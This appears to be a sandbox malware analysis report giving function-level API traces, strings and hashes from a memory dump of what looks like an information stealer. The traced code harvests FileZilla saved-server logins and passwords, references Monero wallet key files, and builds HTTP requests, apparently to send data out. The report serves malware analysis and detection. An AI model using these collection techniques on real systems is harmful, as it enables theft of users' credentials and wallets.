Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad5994a4fcf035f9c11ad4c495a2f919bb2c25b50c1d7a521b6fbd364073f4f0
Instruction ID: 76edcf9a186f4c777bedd046873cb930bf737ad32782402f9f132485dbe18406
Opcode Fuzzy Hash: ad5994a4fcf035f9c11ad4c495a2f919bb2c25b50c1d7a521b6fbd364073f4f0
Instruction Fuzzy Hash: 9E5116B390C3149BE3486E38EC8536AF7E5EB54320F06463CEAC993780EA795C058787

Function 008A6328 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ee722a1e141c9ced211bac71d9b3096827e8bfd716b64c8b15248d05e11db12
Instruction ID: d204a6babaad465d6745360658bcc483e231de045098e36541143299e92657d3
Opcode Fuzzy Hash: 1ee722a1e141c9ced211bac71d9b3096827e8bfd716b64c8b15248d05e11db12
Instruction Fuzzy Hash: 764167F3E041205BE340992DDC447A7B6D6DFD8724F1B8639DB88D7784E93A8E0582C1

Function 00629750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00620250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 00628DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00628E0B

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006199EC
Part of subcall function 006199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00619A11
Part of subcall function 006199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00619A31
Part of subcall function 006199C0: ReadFile.KERNEL32(000000FF,?,00000000,0061148F,00000000), ref: 00619A5A
Part of subcall function 006199C0: LocalFree.KERNEL32(0061148F), ref: 00619A90
Part of subcall function 006199C0: CloseHandle.KERNEL32(000000FF), ref: 00619A9A

Part of subcall function 00628E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00628E52

GetProcessHeap.KERNEL32(00000000,000F423F,00630DBA,00630DB7,00630DB6,00630DB3), ref: 00620362
RtlAllocateHeap.NTDLL(00000000), ref: 00620369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00620385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 00620393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006203CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 006203DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00620419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 00620427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00620463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 00620475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 00620502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 0062051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 00620532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 0062054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00620562
lstrcat.KERNEL32(?,profile: null), ref: 00620571
lstrcat.KERNEL32(?,url: ), ref: 00620580
lstrcat.KERNEL32(?,00000000), ref: 00620593
lstrcat.KERNEL32(?,00631678), ref: 006205A2
lstrcat.KERNEL32(?,00000000), ref: 006205B5
lstrcat.KERNEL32(?,0063167C), ref: 006205C4
lstrcat.KERNEL32(?,login: ), ref: 006205D3
lstrcat.KERNEL32(?,00000000), ref: 006205E6
lstrcat.KERNEL32(?,00631688), ref: 006205F5
lstrcat.KERNEL32(?,password: ), ref: 00620604
lstrcat.KERNEL32(?,00000000), ref: 00620617
lstrcat.KERNEL32(?,00631698), ref: 00620626
lstrcat.KERNEL32(?,0063169C), ref: 00620635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00630DB2), ref: 0062068E

Strings

<Pass encoding="base64">, xrefs: 0062045A
url: , xrefs: 00620577
browser: FileZilla, xrefs: 00620559
profile: null, xrefs: 00620568
<User>, xrefs: 00620410
<Port>, xrefs: 006203C6
login: , xrefs: 006205CA
password: , xrefs: 006205FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006202A4
<Host>, xrefs: 0062037C

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: cb81a2171fd59526d9fb53a5815a58cd30a015e0aeee55ce5ff8f9fb0e6d7fac
Instruction ID: 09e1298dac6715b55ae9642cf470a72decdee3a3ce20202edca2e80f07249e38
Opcode Fuzzy Hash: cb81a2171fd59526d9fb53a5815a58cd30a015e0aeee55ce5ff8f9fb0e6d7fac
Instruction Fuzzy Hash: 49D13171900618ABDB44EBF0ED96DEE777AFF18301F444518F502A6091DF78AA0ACF66

Function 00615960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00614839
Part of subcall function 006147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00614849

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006159F8
StrCmpCA.SHLWAPI(?,0111E858), ref: 00615A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00615B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0111E808,00000000,?,0111A270,00000000,?,00631A1C), ref: 00615E71
lstrlen.KERNEL32(00000000), ref: 00615E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00615E93
RtlAllocateHeap.NTDLL(00000000), ref: 00615E9A
lstrlen.KERNEL32(00000000), ref: 00615EAF
lstrlen.KERNEL32(00000000), ref: 00615ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00615EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00615F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00615F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00615F4C
InternetCloseHandle.WININET(00000000), ref: 00615FB0
InternetCloseHandle.WININET(00000000), ref: 00615FBD
HttpOpenRequestA.WININET(00000000,0111E898,?,0111E2D8,00000000,00000000,00400100,00000000), ref: 00615BF8

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

InternetCloseHandle.WININET(00000000), ref: 00615FC7

Strings

", xrefs: 00615E16
------, xrefs: 00615D4C
------, xrefs: 00615C0B
", xrefs: 00615CD5
------, xrefs: 00615A96

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: d5773cd0af6dc4dba72a7d7b38410254199fce91ba6765cc44a103badc161d75
Instruction ID: f67768e94993c5838de6cd073ac380503156bee52485a5e3ec78c4d6fd457a2d
Opcode Fuzzy Hash: d5773cd0af6dc4dba72a7d7b38410254199fce91ba6765cc44a103badc161d75
Instruction Fuzzy Hash: 2312F171820528ABDB55EBE0EC95FEEB37ABF14700F50419DF10662091DFB42A49CF6A

Function 0061CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 00628B60: GetSystemTime.KERNEL32(00630E1A,0111A3C0,006305AE,?,?,006113F9,?,0000001A,00630E1A,00000000,?,01119148,?,\Monero\wallet.keys,00630E17), ref: 00628B86

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0061CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0061D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0061D0CE
lstrcat.KERNEL32(?,00000000), ref: 0061D208
lstrcat.KERNEL32(?,00631478), ref: 0061D217
lstrcat.KERNEL32(?,00000000), ref: 0061D22A
lstrcat.KERNEL32(?,0063147C), ref: 0061D239
lstrcat.KERNEL32(?,00000000), ref: 0061D24C
lstrcat.KERNEL32(?,00631480), ref: 0061D25B
lstrcat.KERNEL32(?,00000000), ref: 0061D26E
lstrcat.KERNEL32(?,00631484), ref: 0061D27D
lstrcat.KERNEL32(?,00000000), ref: 0061D290
lstrcat.KERNEL32(?,00631488), ref: 0061D29F
lstrcat.KERNEL32(?,00000000), ref: 0061D2B2
lstrcat.KERNEL32(?,0063148C), ref: 0061D2C1
lstrcat.KERNEL32(?,00000000), ref: 0061D2D4
lstrcat.KERNEL32(?,00631490), ref: 0061D2E3

Part of subcall function 0062A820: lstrlen.KERNEL32(00614F05,?,?,00614F05,00630DDE), ref: 0062A82B
Part of subcall function 0062A820: lstrcpy.KERNEL32(00630DDE,00000000), ref: 0062A885

lstrlen.KERNEL32(?), ref: 0061D32A
lstrlen.KERNEL32(?), ref: 0061D339

Part of subcall function 0062AA70: StrCmpCA.SHLWAPI(01119008,0061A7A7,?,0061A7A7,01119008), ref: 0062AA8F

DeleteFileA.KERNEL32(00000000), ref: 0061D3B4

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 5680fea988641bbf5a8d2552448a98d844ed6e6476725d42bc12bb18c72fce8e
Instruction ID: 85ec214391fdd6d90d0952043e0cd889531d8d2f15ba076073a4f1237ced9922
Opcode Fuzzy Hash: 5680fea988641bbf5a8d2552448a98d844ed6e6476725d42bc12bb18c72fce8e
Instruction Fuzzy Hash: 41E13171910518ABCB48EBE0ED96EEE737ABF14301F10415CF507A6091DE79AE09CFA6

Function 0061C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0111D128,00000000,?,0063144C,00000000,?,?), ref: 0061CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0061CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0061CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0061CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0061CAD9
StrStrA.SHLWAPI(?,0111D350,00630B52), ref: 0061CAF7
StrStrA.SHLWAPI(00000000,0111D170), ref: 0061CB1E
StrStrA.SHLWAPI(?,0111DD80,00000000,?,00631458,00000000,?,00000000,00000000,?,011190C8,00000000,?,00631454,00000000,?), ref: 0061CCA2
StrStrA.SHLWAPI(00000000,0111DC40), ref: 0061CCB9

Part of subcall function 0061C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0061C871
Part of subcall function 0061C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0061C87C

StrStrA.SHLWAPI(?,0111DC40,00000000,?,0063145C,00000000,?,00000000,01118FB8), ref: 0061CD5A
StrStrA.SHLWAPI(00000000,01119238), ref: 0061CD71

Part of subcall function 0061C820: lstrcat.KERNEL32(?,00630B46), ref: 0061C943
Part of subcall function 0061C820: lstrcat.KERNEL32(?,00630B47), ref: 0061C957
Part of subcall function 0061C820: lstrcat.KERNEL32(?,00630B4E), ref: 0061C978

lstrlen.KERNEL32(00000000), ref: 0061CE44
CloseHandle.KERNEL32(00000000), ref: 0061CE9C

Strings

, xrefs: 0061C9C6

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: b2155d6462819be2308628a542d718876a7b8cca960611097330d835a2d1521f
Instruction ID: 8746e57472720652222d8c7215248d290cb6cdf49b31c6848c62453ae59708ee
Opcode Fuzzy Hash: b2155d6462819be2308628a542d718876a7b8cca960611097330d835a2d1521f
Instruction Fuzzy Hash: 90E1FD71810518ABDB58EBE0EC91FEEB77ABF18300F40415DF10666192DF746A4ACF6A

Function 00628320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

RegOpenKeyExA.ADVAPI32(00000000,0111B3C8,00000000,00020019,00000000,006305B6), ref: 006283A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00628426
wsprintfA.USER32 ref: 00628459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0062847B
RegCloseKey.ADVAPI32(00000000), ref: 0062848C
RegCloseKey.ADVAPI32(00000000), ref: 00628499

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Strings

%s\%s, xrefs: 0062844D
?, xrefs: 0062837A
- , xrefs: 006285A3

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

